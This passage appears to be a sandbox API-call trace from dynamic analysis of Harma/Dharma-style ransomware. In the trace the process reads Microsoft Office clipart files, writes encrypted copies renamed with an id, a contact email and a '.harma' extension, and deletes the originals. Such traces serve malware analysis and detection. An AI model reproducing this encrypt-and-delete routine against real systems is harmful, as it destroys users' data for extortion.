(lpString1=".ppt", lpString2=".WMF") returned -1 [0151.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0151.713] lstrlenW (lpString=".zip") returned 4 [0151.713] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.713] lstrlenW (lpString=".rar") returned 4 [0151.713] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.713] lstrlenW (lpString=".bz2") returned 4 [0151.713] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.713] lstrlenW (lpString=".7z") returned 3 [0151.713] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0151.713] lstrlenW (lpString=".dbf") returned 4 [0151.713] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0151.713] lstrlenW (lpString=".1cd") returned 4 [0151.713] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0151.714] lstrlenW (lpString=".jpg") returned 4 [0151.714] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0151.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0151.714] lstrlenW (lpString=".doc") returned 4 [0151.714] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.714] lstrlenW (lpString=".docx") returned 5 [0151.714] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.714] lstrlenW (lpString=".pdf") returned 4 [0151.714] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.714] lstrlenW (lpString=".xls") returned 4 [0151.714] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.714] lstrlenW (lpString=".xlsx") returned 5 [0151.714] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.714] lstrlenW (lpString=".ppt") returned 4 [0151.714] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0151.714] lstrlenW (lpString=".zip") returned 4 [0151.714] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.714] lstrlenW (lpString=".rar") returned 4 [0151.714] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.714] lstrlenW (lpString=".bz2") returned 4 [0151.714] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.714] lstrlenW (lpString=".7z") returned 3 [0151.714] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0151.714] lstrlenW (lpString=".dbf") returned 4 [0151.714] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0151.714] lstrlenW (lpString=".1cd") returned 4 [0151.715] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0151.715] lstrlenW (lpString=".jpg") returned 4 [0151.715] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.715] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0151.715] lstrlenW (lpString="DD01585_.WMF") returned 12 [0151.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0151.723] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2524) returned 1 [0151.723] CloseHandle (hObject=0x330) returned 1 [0151.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x20 [0151.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0151.741] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.741] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0151.742] GetLastError () returned 0x0 [0151.742] ReadFile (in: hFile=0x208, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x9dc, lpOverlapped=0x0) returned 1 [0151.798] WriteFile (in: hFile=0x34c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x9e0, lpOverlapped=0x0) returned 1 [0151.799] ReadFile (in: hFile=0x208, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.799] WriteFile (in: hFile=0x34c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.799] SetEndOfFile (hFile=0x34c) returned 1 [0151.799] CloseHandle (hObject=0x34c) returned 1 [0151.799] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.799] SetEndOfFile (hFile=0x208) returned 1 [0151.801] CloseHandle (hObject=0x208) returned 1 [0151.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.802] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf")) returned 1 [0151.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0151.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0151.802] lstrlenW (lpString=".doc") returned 4 [0151.802] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.802] lstrlenW (lpString=".docx") returned 5 [0151.802] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.803] lstrlenW (lpString=".pdf") returned 4 [0151.803] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.803] lstrlenW (lpString=".xls") returned 4 [0151.803] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.803] lstrlenW (lpString=".xlsx") returned 5 [0151.803] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.803] lstrlenW (lpString=".ppt") returned 4 [0151.803] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0151.804] lstrlenW (lpString=".zip") returned 4 [0151.804] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.804] lstrlenW (lpString=".rar") returned 4 [0151.804] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.804] lstrlenW (lpString=".bz2") returned 4 [0151.804] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.804] lstrlenW (lpString=".7z") returned 3 [0151.804] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0151.804] lstrlenW (lpString=".dbf") returned 4 [0151.804] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0151.804] lstrlenW (lpString=".1cd") returned 4 [0151.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0151.804] lstrlenW (lpString=".jpg") returned 4 [0151.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0151.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0151.804] lstrlenW (lpString=".doc") returned 4 [0151.804] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.804] lstrlenW (lpString=".docx") returned 5 [0151.804] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.804] lstrlenW (lpString=".pdf") returned 4 [0151.804] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.804] lstrlenW (lpString=".xls") returned 4 [0151.804] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.805] lstrlenW (lpString=".xlsx") returned 5 [0151.805] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.805] lstrlenW (lpString=".ppt") returned 4 [0151.805] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0151.805] lstrlenW (lpString=".zip") returned 4 [0151.805] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.805] lstrlenW (lpString=".rar") returned 4 [0151.805] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.805] lstrlenW (lpString=".bz2") returned 4 [0151.805] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.805] lstrlenW (lpString=".7z") returned 3 [0151.805] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0151.805] lstrlenW (lpString=".dbf") returned 4 [0151.805] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0151.805] lstrlenW (lpString=".1cd") returned 4 [0151.805] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0151.805] lstrlenW (lpString=".jpg") returned 4 [0151.805] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.805] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0151.805] lstrlenW (lpString="DD01629_.WMF") returned 12 [0151.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0151.806] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=580) returned 1 [0151.806] CloseHandle (hObject=0x208) returned 1 [0151.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x20 [0151.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0151.807] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.807] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0151.807] GetLastError () returned 0x0 [0151.807] ReadFile (in: hFile=0x208, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x244, lpOverlapped=0x0) returned 1 [0151.808] WriteFile (in: hFile=0x34c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x250, lpOverlapped=0x0) returned 1 [0151.809] ReadFile (in: hFile=0x208, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.809] WriteFile (in: hFile=0x34c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.809] SetEndOfFile (hFile=0x34c) returned 1 [0151.809] CloseHandle (hObject=0x34c) returned 1 [0151.809] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.809] SetEndOfFile (hFile=0x208) returned 1 [0151.812] CloseHandle (hObject=0x208) returned 1 [0151.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.812] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf")) returned 1 [0151.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0151.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0151.813] lstrlenW (lpString=".doc") returned 4 [0151.813] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.813] lstrlenW (lpString=".docx") returned 5 [0151.813] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.813] lstrlenW (lpString=".pdf") returned 4 [0151.813] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.813] lstrlenW (lpString=".xls") returned 4 [0151.813] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.813] lstrlenW (lpString=".xlsx") returned 5 [0151.813] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.813] lstrlenW (lpString=".ppt") returned 4 [0151.813] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0151.813] lstrlenW (lpString=".zip") returned 4 [0151.813] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.813] lstrlenW (lpString=".rar") returned 4 [0151.813] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.813] lstrlenW (lpString=".bz2") returned 4 [0151.813] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.813] lstrlenW (lpString=".7z") returned 3 [0151.814] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0151.814] lstrlenW (lpString=".dbf") returned 4 [0151.814] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0151.814] lstrlenW (lpString=".1cd") returned 4 [0151.814] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0151.814] lstrlenW (lpString=".jpg") returned 4 [0151.814] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0151.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0151.814] lstrlenW (lpString=".doc") returned 4 [0151.814] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.814] lstrlenW (lpString=".docx") returned 5 [0151.814] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.814] lstrlenW (lpString=".pdf") returned 4 [0151.814] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.814] lstrlenW (lpString=".xls") returned 4 [0151.814] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.814] lstrlenW (lpString=".xlsx") returned 5 [0151.814] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.814] lstrlenW (lpString=".ppt") returned 4 [0151.814] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0151.814] lstrlenW (lpString=".zip") returned 4 [0151.814] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.814] lstrlenW (lpString=".rar") returned 4 [0151.814] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.814] lstrlenW (lpString=".bz2") returned 4 [0151.815] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.815] lstrlenW (lpString=".7z") returned 3 [0151.815] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0151.815] lstrlenW (lpString=".dbf") returned 4 [0151.815] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0151.815] lstrlenW (lpString=".1cd") returned 4 [0151.815] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0151.815] lstrlenW (lpString=".jpg") returned 4 [0151.815] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.815] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0151.815] lstrlenW (lpString="DD01630_.WMF") returned 12 [0151.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0151.816] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=296) returned 1 [0151.816] CloseHandle (hObject=0x208) returned 1 [0151.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x20 [0151.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0151.817] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.817] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0151.817] GetLastError () returned 0x0 [0151.817] ReadFile (in: hFile=0x208, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x128, lpOverlapped=0x0) returned 1 [0152.129] WriteFile (in: hFile=0x34c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x130, lpOverlapped=0x0) returned 1 [0152.131] ReadFile (in: hFile=0x208, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.131] WriteFile (in: hFile=0x34c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.131] SetEndOfFile (hFile=0x34c) returned 1 [0152.131] CloseHandle (hObject=0x34c) returned 1 [0152.131] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.131] SetEndOfFile (hFile=0x208) returned 1 [0152.135] CloseHandle (hObject=0x208) returned 1 [0152.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0152.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf")) returned 1 [0152.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0152.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0152.136] lstrlenW (lpString=".doc") returned 4 [0152.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.136] lstrlenW (lpString=".docx") returned 5 [0152.136] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.136] lstrlenW (lpString=".pdf") returned 4 [0152.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.137] lstrlenW (lpString=".xls") returned 4 [0152.137] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.137] lstrlenW (lpString=".xlsx") returned 5 [0152.137] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.137] lstrlenW (lpString=".ppt") returned 4 [0152.137] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0152.137] lstrlenW (lpString=".zip") returned 4 [0152.137] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.137] lstrlenW (lpString=".rar") returned 4 [0152.137] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.137] lstrlenW (lpString=".bz2") returned 4 [0152.137] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.137] lstrlenW (lpString=".7z") returned 3 [0152.137] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0152.137] lstrlenW (lpString=".dbf") returned 4 